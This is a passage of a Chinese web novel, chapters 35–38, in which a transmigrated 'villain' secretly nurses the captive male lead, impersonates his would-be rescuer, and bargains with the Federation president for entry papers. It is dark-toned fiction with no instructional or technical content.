秦越神情莫名:“那我不应该就更不能出门了?” 系统头摇成拨浪鼓:[不行的,得让正牌CP把人救出去呀,您到时候睁一只眼闭一只眼就好了。]它像是知道秦越要说什么,立刻截断他的话,[您不能主动放他走,否则就是OOC了。] 完成个任务,条条框框还不少。 秦越起床洗漱,然后就准备把充足的时间留给这两位。 他经过客厅拿外套时,无意地瞥了一眼沙发上的贺煜臣。 贺煜臣没有老老实实地躺着,从昨天系统的播报频率来看,他应该也是没怎么休息。此刻贺煜臣正搂着抱枕,屈起双腿缩在沙发的一个角落,冷白的脸搁在黑色的抱枕上,看着一点活人气都没有。 贺煜臣右手别扭地握紧,不自然地垂在身边。 秦越一顿,走了过去。他矮下身,伸出指尖掰开对方紧握的手心。 一枚碎瓷片划了出来。 边缘锋利,很适合杀人。 秦越顺手把这个“凶器”收走,目光落在贺煜臣的掌心,那里有一道刚结痂的新伤口。 他貌似知道昨天晚上,这人在浴室里面在做什么了。 秦越轻声笑了一下,他有时候也挺佩服这种硬骨头的。 即使已经走投无路,还想着要跟自己同归于尽。 他最后看了一眼还在昏睡中的贺煜臣,带着隐晦的情绪低声说道:“……我等着你来取我的性命。” 在这之前,可别轻易的死了。 随着脚步声远去,本应该还在睡眠中的贺煜臣猛地睁开眼,眼里是一片清明。 他的右手还保持着被秦越打开的姿势,那个人指尖粗糙的触感似乎还停留在上面。 刚才秦越逼近的时候,他在那短短几秒钟思绪翻飞,有那么一瞬间,贺煜臣在想要不要拼一把,只要足够近,自己就能割开秦越的喉咙。 可是犹豫的时间太久,久到秦越发现了那枚瓷片。 那一刻,贺煜臣心沉入谷底,觉得一切都完了。他开始恨自己太过优柔寡断,或者说恨自己没有勇气。 他最后只能选择装作没有醒。 因为贺煜臣知道秦越更喜欢在他清醒的时候折磨他。以前自己没有意识的时候,对方就会索然无味地放过他。 可是秦越什么都没做,除了把瓷片拿走,只丢下一句话。 他说等着自己来杀他。 这到底是什么意思? 贺煜臣茫然地看着自己掌心的伤痕。 秦越突然变成了一道贺煜臣看不懂的谜题。 但是在这个世界上,除了秦越本人,最了解他的人就是贺煜臣自己。 贺煜臣喉咙的灼痛感还依旧存在,昨天忽冷忽热的,他应该很早就开始发烧了。硬抗了半天后,贺煜臣想去给自己倒一杯水,再找找看有没有退烧药。 房间的布局贺煜臣很熟悉,他这边刚倒好水,就听见门口有脚步声。 如果是之前,他理应在门锁被打开的时候,就能听见动静,但现在他太虚弱了,导致来的人已经到了房子内部才有所发觉。 贺煜臣确实对这里很熟悉,但秦越完全不熟悉。 要不然昨天也不能找了一会,才找到差点从卧室翻窗出去的贺煜臣。 原主住的地方类似以前的写字楼,一个回字形的布置,回字中间是电梯井。简单来说,二十层围绕着中心电梯的一圈,都是他的家。 楼下一层层的都是他的手下住处,对贺煜臣来说,他相当于住在一座监狱的顶层- 碎裂的水泥路面久未修缮,废弃商场外墙上积满尘埃。透过商场橱窗,还能看见假人模特保持着优雅的姿势,半融化的塑料脸颊变得扭曲可怖。 满地垃圾被雨水泡烂,又被短暂地晾干,最后变成了路面上的一道道疤。 这里是废墟遗迹的边缘。 秦越看着努力撞击着货架的感染者,心思还在家里,“他俩见上面了没?” 系统切了个视角:[还没有。您要记得白天都得出门,给他们制造见面机会。] 话是这么说没错,但是秦越听着怎么那么膈应呢。 系统打开剧本,告诉秦越男主是怎么被救出去的,让他日后配合就好。 该配合你演出的我演视而不见。秦越表示明白。 [男主的正牌CP叫顾夜霖,他会趁你不注意的时候,偷偷替换联邦政府给你的异能抑制剂。他不敢全部替换,只是每次换一点。然后在几个月后,联邦政府的人来这里采取数据时候,贺煜臣成功地反杀了对方,然后拿你……] 秦越冷漠接上:“打窝。” 系统:[但这样剧情就会完蛋了,因为受了几个月的折磨,男主身心都遭到了重创。他怒不可遏地回到联邦后,就直接把总统那一派的人全处死了,包括白月光。] 秦越觉得自己也要怒不可遏了。 “我再过几个月也要死了,哪还能管那么多?!” 系统抱住他的大腿:[优秀的、无所不能的、伟大的1027号员工,您再想想办法。能让男主跟白月光见个面就行了,任务完成50%就算成功。] “见个面就行?”秦越捏了捏鼻梁,随手碾死一只游荡在废墟遗迹边界的感染者。 指望顾夜霖是不可能了,从原文来看,他胆子小得可怜,换抑制剂也只敢一点点地换。 等他救完人,黄花菜都凉了。 秦越灵光一现:“贺煜臣是不是没见过顾夜霖?” 系统肯定地回答:[是的,他们之前并不认识。] 秦越又把一只感染者炸成烟花,然后指了指自己,“我假扮成顾夜霖,然后把他救出去。这是不是也算按剧本走了。” 系统:[啊。] 系统:[啊???] 你在说什么!我怎么听不懂! 系统一个回旋,跟上掉头就走的秦越,比狗还无助,[我就没遇见有宿主那么干的,我也不知道这算不算啊。] 秦越不理它,甚至路过正在营业的商店时,游刃有余地买了套衣服换上。 他脸上还溅落感染者的血,不过已经凝固成了暗红色。本来就凌厉的一张脸,现在更是让人望而却步。跟原文里以温柔和善解人意著称的顾夜霖,完全两模两样。 系统还没回过神:[您是已经下定决心那么干了,对吗?] 那还问它这个可怜的系统干什么。 它眼睁睁地看着秦越换掉了早上出门的衣服,然后还问自己,有没有改变人长相的方法。 在死一般的沉默中,系统屈服了。 [没有,因为现在人类科技树还没点到这部分,除非您现在去做整形手术。]系统委曲求全,[给您从空间里拿个面具凑合一下?] 就像昨日重现,秦越回到家,发现贺煜臣没有在客厅,他头疼地又开始四处找人。 最后秦越在厨房找到正端着水杯的贺煜臣。 贺煜臣明显有点懵,手足无措地想放下水杯,但又对来的秦越很防备。 他的思绪因为生病有些迟钝,卡壳了半天,才问出一句:“你怎么进来的。” 盯着那张冰冷的金属覆面,贺煜臣摇了摇头,好让自己更清醒一点,“不对,你是谁?” 秦越看出来贺煜臣的不对劲,脸色冷了下来,不顾贺煜臣的阻挡,伸手摸了一下他的额头。 好烫。 他试图好好养活的男主,差点要在自己不在家的时候,高烧晕过去了。 真是个犟种。 死都不会服软,但凡跟自己说一声,也不会到这种地步。 秦越恼火地去找退烧药,回来的时候把药塞给贺煜臣,没好气地回答:“顾夜霖,我的名字。” 贺煜臣没有反应,像是在发呆。 实际上他认为自己已经发烧发糊涂了。 闯进来的人说自己叫顾夜霖,可他知道真正的顾夜霖是什么样子的。顾夜霖跟自己差不多高,但眼前这个人身高明显超过了他。 来人的身躯,几乎截断了他眼前的光源。逆光中宽阔的肩线像断崖倾压整个空间,光站在那里,莫名的气势就压得贺煜臣喘不过气。 贺煜臣一阵晕眩,他再一次觉得自己出现了幻觉。 他说过,自己是最了解秦越的人。 而这个自称是顾夜霖的人,身形跟秦越别无二致—— 作者有话说:周二更新调整到晚上八点,天天凌晨更新,写完之后晚上就开始失眠,感觉秦越没挂,我要先挂了(bushi)[爆哭] 第36章 贺煜臣不知道秦越给他的是什么药,但是上一辈子的经历告诉他,这个时候惹怒秦越不是明智之举。 贺煜臣就着水把药吞下去了,经过秦越刚刚的打岔,本来就不热的水早就变冷,喝下去之后他感觉更不舒服了。 “……”贺煜臣透过面具,看见了对方带着血色的眸子。 他知道这是秦越短时间内用过异能的表现。 就跟传闻说的一样,秦越年少时被迫使用了劣质的异能诱导剂,因为市面上正规的诱导剂要么价格昂贵,要么需要排队等待。 可是秦越等不了,他家里人全是没有异能的普通人,如果到他这还是普通人的话,按照联邦的规定,他们一家就会被驱逐。 秦越走投无路之下在黑市买了一瓶诱导剂,黑市上的诱导剂都是不合格的残次品,不过还有一定的几率可能让人激发出异能,他想拼拼运气。 可惜秦越的运气貌似很差,他虽然成功地产生了异能,但随之而来的是极其严重的副作用。 贺煜臣心神不宁地对上秦越的视线。 其实就算自己日后不对秦越做什么,他也会因为长时间的使用异能,身体器官不堪重负衰竭而死。 秦越瞅着对方一副行将就木的模样,悄悄问系统:“我是不是该给他找个医生。” 系统背对着秦越,白眼要飞上天了,[您不要干原主不会做的事情!] 秦越:“但我现在是顾夜霖。” 系统被这种理不直气也壮的态度哽住了,人家顾夜霖同意让你是顾夜霖了吗! 但系统也怕贺煜臣撑不下去,仔细地扫描了一遍他的身体数据,[目前情况还凑合,但是他好像很久没有进食了,人类那么久不补充能量会出事吧?] 秦越这才反应过来,昨晚他把人弄回来就晾这了,联邦政府没把人搞死都算他们有良心了,就别指望他们能给贺煜臣提供一日三餐了。 [提供一些必要的能量,他可以恢复的更好。]系统觉得人类吃饭跟它充能源差不多,[毕竟贺煜臣是男主,主角都很耐杀的。] 贺煜臣吃完秦越给的药后,等了很久也没有预想中的反应,他眸子深处是无言的疑惑。 以前秦越给他吃完这些药,只是想欣赏他欲望发作后的难堪模样。 但是这次什么都没有发生。 秦越给贺煜臣让出路:“去休息。” 贺煜臣脚步晃一下,就看见秦越伸出手牢牢地扶住他,对方语气满是不耐烦,但隐隐还有些紧张:“小心点。” 紧张…… 秦越怎么会紧张? 自从他重生后,所有事情好像都变得不在他意料之内。 贺煜臣能感受到秦越传来的体温,对方似乎很郑重,扶着他的小臂太过用力,皮肤上的青筋隐约浮现。 上辈子贺煜臣也见过类似的场景,只不过那个时候,秦越是在抵住他的胸口,目光阴沉地掐住他咽喉。 贺煜臣只能紧紧攥住秦越近在咫尺的手臂,在极度缺氧的挣扎中,看见对方小臂上暴起的青筋。 那是绞紧猎物后,从容收拢的纹路。 贺煜臣心跳得很快,他尚且不清楚是不是刚才那个药物的作用。 药不是眼下最重要的事情,关键是秦越为什么要说自己的顾夜霖。 贺煜臣记得顾夜霖会搭救自己,可他算了算时间,本该在这个时间线上已经出现的顾夜霖,到目前为止都没有踪影。 难道……秦越已经抓到了顾夜霖,认为自己跟他有什么联系? 秦越是在试探自己,还是又是新的恶趣味。 想给他一点逃出去的希望,再恶劣把他推下深渊? 太多疑问快把本就混乱的大脑压垮,退烧药嗜睡的副作用来的很快,贺煜臣在半睡半醒中,隐约感受到有人在他肿痛的后颈处上了药,让他一直没有愈合的伤口得到了舒缓。 上药的人很有耐心,怕弄疼了他似的,这种久违的温柔得让贺煜臣生出一丝贪恋。 他拼尽全力想睁开眼,想看清楚是谁,可也只能看到一抹银质的金属流光。 消炎药本该早上就要更换,但那个时候秦越看贺煜臣还没有醒,就没打扰他。 有了之前替贺煜臣处理伤口的经验,这一次秦越明显动作放轻了很多。 秦越换完药,又试探性地摸了摸贺煜臣的额头,不用体温计他都知道这个温度,贺煜臣应该快烧迷糊了。 秦越刚才就找到了这么一盒退烧药,他想要是能物理降温估计会更好。 在左右张望中,秦越跟系统对上了眼,他下意识捏住这个冰蓝色的光球。 嗯。 摸上去冰冰凉凉的,很适合做退热贴。 系统在一脸茫然中,被秦越放在了贺煜臣的额头。 秦越:“趴好。” 系统瞬间变成一滩半流体状态的史莱姆,尽心尽责地躺平。 等等……它为什么要听秦越的话。 系统痛心疾首,虽然前几个世界的信息被清除了,难道当秦越狗腿子这件事,已经熟练到变成了肌肉记忆,完全改不了吗。 通讯器响了几声,是手下发来的消息,内容也很简洁,主要是告知秦越逮到一个鬼鬼祟祟的人。 秦越疑惑地看了两秒,在想谁胆子那么大,对上系统哀怨的眼神后,恍然大悟:“他们抓的是顾夜霖。” 系统看着宛若脱缰野马,一去不复返的剧情,绝望说道:[他原本在你离开后,就可以成功潜入原主家里。] 结果你回来得太快,他来不及进来,也来不及出去,最后被堵在这栋楼里。进退两难之际,被你手下逮个正着。 秦越正担心以后顾夜霖找个机会闯进他家,然后跟贺煜臣接上头,那他不就白演了。现在自己送上门来了,倒是给他省了事。 “退热贴,你不许动。”秦越把试图跟着出去的系统弹了回去,“在这照看他。” “退热贴“”:[……] 它捂住脑壳,又继续软趴趴地躺回贺煜臣的额头,只来得及说一句宿主你手下留情,千万别把顾夜霖给弄死了。 作为主要角色男二,他后期还有别的戏份呢。 审讯室的铁门通过液压杆推动缓缓打开,日光灯管在所有人头顶嗡嗡震颤,将五花大绑的人照得脸色惨白。 随着越来越近的脚步声,顾夜霖不由自主地绷紧脊背。他不用抬头,仅凭周围人蓦然放缓呼吸,就知道来的人是谁了。 来人摘下金属面具,随手拉过顾夜霖面前的椅子,懒洋洋地坐下。 他指节抵着面具轻叩,每一声清响都让顾夜霖心跳加速,晕头转向。 秦越:“给你父亲报仇来了?” 顾夜霖一愣。 他从没有在升棺做过事,他父亲也极力反对他加入游走在灰色地段的升棺。 所以秦越是怎么知道他的? 顾夜霖觉得自己后脑上有千钧压力,在这个人面前,他甚至连抬头的勇气都没有。 他从死去的父亲那听过关于秦越的只言片语,可是那毕竟只是来自他人的转述,远远没有直接面对来的恐怖。 可眼下的境地,无论做什么,似乎都只剩一条绝路,顾夜霖自暴自弃地抬头,诅咒般恶狠狠地说:“你这个刽子手。” 顾夜霖见过秦越的照片,但是近距离跟这个废墟遗迹的暴君对视,他还是忍不住瞳孔骤缩。 男人脸上还凝固着可疑的暗红色血迹,不知道是去哪杀了人刚回来。他正居高临下打量着自己,长睫垂落像寒鸦收拢的墨羽,掩盖了眼尾锋利的弧度。 “你父亲就是这么教你的?”秦越忽然笑了一声,掀起眼皮,整张脸凌厉的线条活了过来,“教你来送死?” 顾夜霖气急败坏,他剧烈地喘息着,心中的愤怒压过了恐惧,“你动手时毫不犹豫,甚至没有多问一句话,他跟了你那么多年,你杀他跟处决一个陌生人有什么区别?!你迟早会众叛亲离,死在你最信任的人手上!” 周围的手下脸都绿了,这不是暗戳戳地是说他们会背叛老大吗! 顾夜霖在椅子上拼命挣扎起来,看上去恨不得要将秦越除之而后快,他被压制的异能蠢蠢欲动,一旁放着刑具的推车在异能催动下,猛然朝着秦越的方向撞去。 推车碰到秦越的瞬间,他脚尖轻轻一抵,就止住了推车的来势汹汹,还顺手接住因为惯性从推车上滚落的玻璃瓶。 顾夜霖的脸色由之前的惨白,变成现在不自然的红色。 他的异能很弱,虽然可以通过意念挪动物体,但控制力度很差,哪怕他因为拼尽全力而涨红了脸,也被秦越当做小孩玩闹似的,轻描淡写的制住了。 秦越倒也不是很生气,余光瞥向玻璃瓶上吐真剂的标签,当着顾夜霖的面,玻璃药瓶在他的掌心碎成齑粉,液体顺着指缝蜿蜒而下,“好好说话,不然下一次可就用在你身上了。” 顾夜霖依旧眼含愤怒的盯着他。 他虽然被绑在椅子上,有点狼狈,但依旧能看出肤质如釉色瓷器,肌理透着健康的血色。跟其他手底下那种风吹日晒,粗糙的皮肤对比,一看就是被家人照顾的很好。 在这种人心惶惶的末世,被照顾得太周全,也不是什么好事。 顾夜霖在原文里,被读者使用最多的形容词就是圣母。 他会对陌生人给予帮助,愿意给背叛者改过的机会,相信人性本善,知错能改善莫大焉。 并不是说圣母不对,而是在这种尔虞我诈的世界里,不设防的单纯除了让自己死得更早以外,没有太多用处。 但顾夜霖生性如此,自然也无法理解秦越简单粗暴的行事风格。 不过也正是这种一视同仁的善意,才会让顾夜霖对身处绝境的贺煜臣伸出援手。 秦越没打算真的对他做什么,处理顾夜霖的事情只是为了贴合原主人设走个流程,他也懒得在顾夜霖这浪费太多的时间。 “晾他一段时间,希望下次见面的时候,咱们这位朋友还能跟今天一样嘴硬。”秦越对着空气吩咐,目光却落在顾夜霖抽搐的眼睑上,“看好他,别让他跑了。” 秦越擦干净手上的液体,眼神在灯光下镀着层霜,意有所指地说道:“你们应该不能比他还蠢吧?” 手下同时摇头,慌张地彼此看了一眼,从其他人眼里看到跟自己一样的惊恐。 秦越刚走了几步,正当手下松了口气,眼看着这位暴君要迈出审讯室的大门时,又硬生生停住了脚步。 部下们纷纷倒抽了一口气,冷汗直冒,一齐往后小退一步。 他们都以为秦越是听信了顾夜霖的话,要来敲打他们了。 在令人窒息的气氛中,手下听见男人开口问道:“生病的人吃什么比较好?”—— 作者有话说:为什么这个新世界评论都在笑亖。小贺天天提心吊胆觉得自己要面对大变态,秦哥天天提心吊胆觉得要把人养死了,而你们只会哈哈哈,人与人之间起码的同情心呢(哽咽)(抹泪)(离开) 第37章 什么病人? 病什么人? 在他们老大的字典里不是只有死人和活人吗,哪来的病人? 一个手下迟疑地回答:“呃,易消化的食物?” 周围人都用很佩服的人看着他,不是因为他答对了一个显而易见的问题,而是他居然回应了秦越这个跟审讯风马牛不相及的提问。 这种没头没尾的一般都不是什么好事,或者说秦越的本意不单单只是问这个问题。 果不其然,秦越继续道:“你会做饭吗?” 刚刚答话的手下,张望了一下周围,发现是冲着他来的,“勉强算会?” “行,你去做点容易消化的食物,带到我的住所。”秦越像是解决了一个大难题似的,长长地松了一口气。 原主在吃住上都不太讲究,家里只有能噎死人的压缩饼干,他自己可以将就,但对病人来说,这种难以下咽的东西实在不利于恢复。 手下指了指自己,目瞪口呆,“我吗?” 突然被“委以重任”,对于一个边缘人来说,他有点不太适应。 秦越满意地走了。 回到住处,他一开门系统就扑了过来,[顾夜霖还活着吧——] 秦越被撞了个措手不及,应付了几句,“我又不是原主,没事针对他干什么。” 系统又缓过来劲了:[还好还好。因为顾夜霖还肩负着带着你的手下,投奔贺煜臣的重任呢。他的圣母光环感化了升棺的成员,成功话疗了众人,最后助力贺煜臣收服了升棺。] 秦越没什么太多反应,按照剧情发展,在顾夜霖帮助贺煜臣拿下升棺的时候,他已经死透了,之后发生任何事都与他无关。 哪怕是在他坟头载歌载舞,他也管不着。 秦越:“贺煜臣怎么样了?” 系统评价:[还行,睡着了。看样子明天就差不多就能活蹦乱跳了。男主身体素质很好的,要不是联邦给他注射抑制剂,他根本不会生病。] 提到抑制剂,秦越翻出黑袍人给他的手提箱,他当天拿到之后,就随手扔在了角落里。 看着里面满满当当地两排注射器,秦越犯起难来。 原文里顾夜霖是一次替换一点里面的液体,让贺煜臣逐渐适应抑制剂的效果。可是秦越觉得这样太麻烦,而且抑制剂注射多了,对人体的损害无法估计。 抑制剂的原理是压制身体里的异变基因,所以注射的时候会出现躯体的排斥反应,肌肉、骨骼到身上的每一处剧痛无比。为了防止被注射的人被活活疼死,这里面还混杂了成瘾性的止疼药水。 秦越在想要不干脆把抑制剂换成营养剂算了。 系统一脸宿主您万万不可,[剧情不能坐飞机啊,男主刚来几天就杀回联邦了?!读者会觉得不够爽,不够打脸啊!] 秦越静静地看着它,系统被看得发毛起来。 “我如果没搞错你意思的话。”秦越把注射器放回手提箱,语气平淡,“你是说别人想看一个前期过得很悲惨的男主角?” 系统噤声,不知怎么从秦越没什么波动的语气里,听出了威胁。半晌才委屈巴巴地说:[小说又不是我写的……] [古人说了,要成大事的人,必先苦其心志……] 秦越打断它的话:“非得没苦硬吃?” 系统看着后面的剧情,不敢再跟秦越提要求,偏偏贺煜臣的恨意值出了点“小问题”。 本来恨意值是一直在涨的,可是不久前,就在它被秦越放在贺煜臣额头上降温的时候,恨意值突然急转直下,一点点开始往下掉。 刚刚秦越走个审讯的过场,不在这里,但系统看得真真切切,贺煜臣像是在睡梦中看开了,打算给这个世界一点好脸色。 这种事不要啊—— 系统想把人撞醒,可惜它除了能碰到秦越,其他所有人被它触碰,都只会觉得是一阵凉风飘过去。 思来想去,它弱弱地举手:[宿主,这里有个剧情点……] 秦越洗去早晨巡视的一身灰尘和血渍,水珠顺着下颌线凝聚又滑落,他在水雾中撩了系统一眼,“又是什么剧情?” 系统开始组织语音,斟酌措辞,最后它看着全屏马赛克的剧情,放弃了,声音跟蚊子哼哼一样,[原文也是因为男主生病休养了一天,然后原主就开始动手了……] 具体怎么动手的,详见原文。 秦越拒绝地不留情面:“我之前就说了,这种事情我不会干的。” [或者让男主感受到屈辱也行!]系统速速退让,反正只要能增加恨意值,让秦越走完反派的剧情即可,[先抑后扬,也是打脸文的基操嘛。] 秦越神情有点微妙:“我记得他不是挺容易生气的吗。” 叮叮当当的,系统提示能响一晚上。 [他变了!]系统咬牙切齿,像在指控一个渣男,[他刚刚恨意值快一路狂跌了,股票都没有他能跌!] 秦越不以为意:“可能只是因为他睡着了,醒了估计就正常了。” 说着他擦干头发,推开卧室门。 被冷汗浸透的头发紧贴着贺煜臣的额角,他恍惚中感到一道冰冷水气靠近了自己。 贺煜臣无意识地抓住了凉意的源头,紧紧地贴在自己脸侧。 肌肤下像埋着灼热的炭块,这抹凉意触上脸侧的瞬间,贺煜臣忍不住发出舒服的喟叹。 系统看着昏迷中男人突然抓住宿主的手腕,颇有点幸灾乐祸:[这会他把您当做退热贴了。] 秦越:“你啰嗦了。” 他之前光记得找退热贴,但是其实冰袋效果也不差。原主没有准备退热贴这种东西,是因为他觉得矫情,大部分时间生病纯靠硬挺。 但是在这种有事没事就会大打出手的世界里,原主备下的冰袋完全管够。 秦越想把自己的手抽出来,去冰箱里找冰袋。可是他一动,贺煜臣手上的劲就越大,到了最后,秦越觉得贺煜臣快要把自己的腕骨捏碎了。 “……”秦越只好无奈地迁就着贺煜臣的姿势。 诡异的场景一直延续到送饭的人过来。 手下虽然不是专业厨子,可是相较于原主这类好似没有味觉,对饮食要求是能补充能量就行的人来说,他已经算是米其林级别的了。 在大佬的门口罚站了好一会,秦越才姗姗来迟地给他开门。 手下看到秦越的样子,差点没站稳。 秦越衣服的袖口皱巴巴的,手腕处通红得瞩目,手下发誓自己甚至看见了清晰的指痕。 他不敢多看,也不敢多想,把准备的餐食送到就赶紧走了。 秦越把餐盒拿回卧室,微微转了转自己的手腕,视线停在贺煜臣睡熟的脸上,有点报复心理地把贺煜臣弄醒,“起来,吃点东西。” 贺煜臣猝不及防地被人从好梦中拽出来,依稀中还记得那抚平了燥热感的凉意。 秦越把餐盒放在床头,随手替贺煜臣打开了盒盖,“这里没有联邦那么好的条件,委屈少将凑合吃点了。” 冷不丁地从秦越口中听到了他的军衔。 贺煜臣无声地攥紧手心。 每一个字,都在赤裸裸地提醒他被联邦背叛了。 餐盒里煮着好吞咽的粥,掺杂了一些肉糜,甚至还撒了一点小葱花,散发着诱人的香气。 贺煜臣不知道秦越这又是在唱哪一出。 秦越二话不说欺身过来,贺煜臣咬着牙没有做出避让的举动,以为是自己没有及时拿起那碗粥,惹得秦越不高兴了。他已经做好准备,等这个喜怒无常的疯子将滚烫的肉粥砸向他。 可是秦越什么都没做,只是揭开了他后颈的膏药。 “下次你自己换。”秦越不想再伺候人了,也不管贺煜臣方不方便,毕竟他已经很有良心地替男主换了几次药了。 秦越细细地观察了一眼伤口,虽然看起来还是很凄惨,但明显没有之前那么肿了。 贺煜臣忽然开口:“抑制剂是肌肉注射的,看不清血管也没关系。” 其实肌肉注射,也需要避开血管,但是谁会在意他的死活呢。 贺煜臣想当然认为秦越给他治疗,是为了之后方便注射抑制剂。 毕竟之前他后颈红肿泛着淤青,没有一处好肉。 秦越依旧我行我素,态度冷淡:“你在教我做事?” 低沉的声线让气温陡降,秦越的瞳孔里映出贺煜臣苍白的脸。 噩梦中似曾相识的感觉回来了。 喉咙里像是被塞进一团潮湿的棉絮,贺煜臣指节僵硬地扣进掌心,勉强稳住自己的情绪,在秦越的示意下缓缓地捧起餐盒。 “放心,没给你下毒。”秦越看着贺煜臣愣是一口不吃,眼神飘忽,整个人神游天外。 他装作不耐烦地说道,“我可不想你死太早,那样就太无聊了。” 这句话是小说的原台词,只不过台词发生时的氛围没有眼下那么“友好”,原主是把人磋磨得只剩一口气之后,才大发慈悲地停了下来,阴阳怪气地说了这么一句话。 原主其实不在意贺煜臣是死是活,哪怕联邦跟他说了一定要留下贺煜臣的性命。 他没让贺煜臣那么快死掉,只是觉得逗弄一个曾经看不起自己的特权阶级,很有意思罢了。 可是原主记恨错了人,虽然贺煜臣确实跟他在阶级上是云泥之别,但贺煜臣从某种意义上来说,跟他是一路人。 两个人都在为平权做斗争,为一切愿意为活着而努力的人,提供哪怕一点希望。 贺煜臣低着头,被秦越态度强硬地塞了一个勺子。 明明秦越说的话听上去很刺耳,但他又一直没有对自己做过什么。 真的……好奇怪—— 作者有话说:系统:俺不中咧[化了] 第38章 秦越摆着冷漠的脸迈出房门,一离开贺煜臣的视线,那副凶神恶煞的模样立刻消失不见,他随即抓过系统:“怎么样?” 系统绝望摇头:[贺煜臣完全没有增加任何恨意值。] 秦越不解:“为什么?我甚至按原文念了一句台词。” 小说里原主说完这句话之后,贺煜臣当即怒从心起,揍了原主,连被压制的异能都差点涌动出来。 结果自然是把原主弄得大发雷霆,被折磨得一连好几天下不来床。 系统崩溃:[您别问我为什么!我还想知道为什么。]它隐隐觉得事情开始不妙起来,为了以防万一,还是提醒了秦越一句,[您如果做出偏离人设过大的举动,是会被处罚的。] “?”秦越皱眉,“你之前可没提到还有这一茬。” 他调出系统的投屏,一条条过目助攻守则中的处罚机制,他无语:“这些处罚……你们助攻局才是变态吧?” 系统敷衍地哈哈两声,提醒秦越的通讯器已经好几条消息了。 恰在此时,又一条通讯发了过来。这一次是视频通讯,想必是那边的人迟迟找不到秦越,已经开始心急起来。 秦越接通了视频通讯,散漫地打了个招呼。 他意味深长地看着通讯另一端的人。联邦的总统亲自来了,问题势必有点棘手。 总统对秦越的态度见怪不怪,严肃的表情跟秦越形成了鲜明对比,他开门见山道:“现在不仅是贺煜臣的家族,还有他的部下,他们都认为贺煜臣死不见尸,太过蹊跷。特别是军方已经申请特别行动组,想要彻底调查这件事,看样子是不能善了了。” 秦越往椅背上靠去,真皮座椅发出令人牙酸的呻吟,秦越扬眉示意他继续说。 “我们需要你出面,提供出一具跟贺煜臣体型差不多的尸体。尸体自然只是为了堵这群人的嘴,舆论发酵后,你就立刻销毁尸体,不能让军方的人抓住把柄。”总统没有讲完,但言下之意,是指望秦越背了这口黑锅。 原本联邦和废墟遗迹一直冲突不断,两边人的互相看不顺眼,升棺因为私人恩怨,偷袭了正在围剿感染者营地的贺煜臣军队,十分的合情合理。 秦越差点没绷住表情,他冷下脸:“让我干脏活得有点底线。” 总统也是一阵冷笑,“我们都是一根绳上的蚂蚱。你别以为能置身事外,贺煜臣日后找你算账,你能有什么好下场。” 排除总统是个人渣这一点,他说的都是大实话。 小说里男二是个圣母,那自然男主就不可能也是圣母。 贺煜臣向来血债血偿。 可惜现在的秦越不是原主,他巴不得被贺煜臣弄死,好做完任务交差。 系统咳咳两声,盯着完全不着急的秦越提醒道:[请注意人设。] 秦越支着下颌,不咸不淡地说:“你坐上这个位置之后,天天都那么提心吊胆么?” 顶着秦越压下来的目光,总统嘴角动了动,“你知道贺煜臣的异能为什么被列为高危吗?” 贺煜臣的能力被政府命名为“以太”。 他可以切除所有分子之间的媒介物质,像是手握一把精准的手术刀。 甚至,他也可以精准地剥除感染者变异的细胞,让感染者变成正常人。 到了小说的后期,这个能力被开发的更为完全,贺煜臣可以利用以太更改人类异变的基因,让一个无所不能异能者转瞬变成手无缚鸡之力的普通人。 总统气度很大的样子,完全忽略了秦越不客气的态度:“谁在我这个境地都会提心吊胆的,毕竟这样的人,还算是人类吗?我倒是认为他更像是一个没有载体能容纳的凶器。” “秦先生,不管怎么说,我们已经合作过很多次了,彼此也没什么好遮掩的,你意下如何呢?”总统对上秦越的视线,他压力也不小,因为秦越不是什么容易控制的人,他们双方一直都在互相试探,但又不得不依靠对方生存下去。 他指望秦越带领的流民能当感染者入侵的第一目标,才能换取联邦里大部分人醉生梦死的生活。 联邦中生存的大部分都是异能者,他们可以创造更多的能源,但与之而来是新的问题,这些人都很怕死。 除了贺家那一只军队,他们安于现状,不愿意冒险收复被感染者占领的人类旧区。 秦越他们这些人不惧生死,但又需要联邦给予的能源活下来。 所以形成了这种扭曲又互相憎恨的关系。流民看不起联邦人,联邦人亦然,认为被驱逐出去的流民都粗鄙不堪,没有任何可取之处。 秦越笑了一声,“行啊,但我有什么好处?别又给我一箱子银币,到最后这些钱不又流转回你们手上……”尾音湮没在骤然加深的笑意里,秦越直白地说:“我需要一点实质性的东西。” 看到秦越松口了,总统情不自禁地嘴角上扬,他真心实意地说:“你想要什么,我们随时提供,无论是饮用水还是电力系统……” 秦越打断他的话,“我要能自由出行联邦的身份。” 总统笑容僵住了,他们之前向来保持着一种的默契,就是本人从不踏足对方的领地。 虽然他们算不得敌人,可也称不上朋友。互相都对彼此保持足够的警戒。 “这个……”总统觉得有些难办,“你是想来联邦做些什么吗?” 秦越忽然倾身向前,肘关节抵在桌面上,这个极具侵略性的姿势,让总统更清晰地看见他的表情,“如果不行,那就没什么可谈的了。” 他直截了当地关闭了通讯。 系统傻眼:[啊?您在干啥,原文不是那么写的啊!] 秦越看了通讯器亮来亮去,就是不接:“我现在身兼数职,你不记得了么?” 他不仅得让贺煜臣记恨自己,还得尽快把贺煜臣送回联邦,跟还没死翘翘的白月光见上面。 要一张自由出入的身份卡,只是方便他带着贺煜臣混入联邦。 “不是你说的,只要他们见上面就能完成助攻任务的50%。”秦越皱着眉,“你不会是想耍赖吧。” 系统:[……?] 怎么回事,它好像被这种莫名其妙的逻辑给说服了。 [话是那么说没错啊,但是您把目前手无寸铁的男主送到联邦,不是羊入虎口吗?万一联邦政府真不要脸面了,直接把人杀了,那不就完蛋了]系统直挠头。 秦越表情复杂,“你当我是死的?” 他又不会眼睁睁地看着贺煜臣死在他眼前。 系统举着写满剧情的屏幕,焦急地在秦越眼前晃来晃去:[男主回联邦的时候,是复仇打脸的重点剧情,他现在啥也不是,这个剧情爽点怎么办?!] 秦越一本正经:“我先完成助攻任务,这个打脸剧情后面再补上也不迟。” 系统目瞪口呆:[您是在钻逻辑漏洞吗?] 秦越瞥到通讯器上的消息,坦然道:“联邦已经发给我身份证明了。” 身份证明上的秦越照片还带着少年气,是因为联邦所存的照片数据,还是他之前没被驱逐出联邦时的。 试图要将逻辑漏洞钻到底的秦越:“他跟白月光见面有没有具体要求?” 这似曾相识的话,让系统一下子警惕起来,上次秦越那么问完之后,就完全跳过了小黑屋剧情。 它这次坚定地说:[至少男主得产生对往事追忆从而难以自拔的情绪,就是人类那种久别重逢的感觉,您懂吧?] 秦越沉思片刻,“可是我觉得贺煜臣不像是那种会沉湎过往的人。” 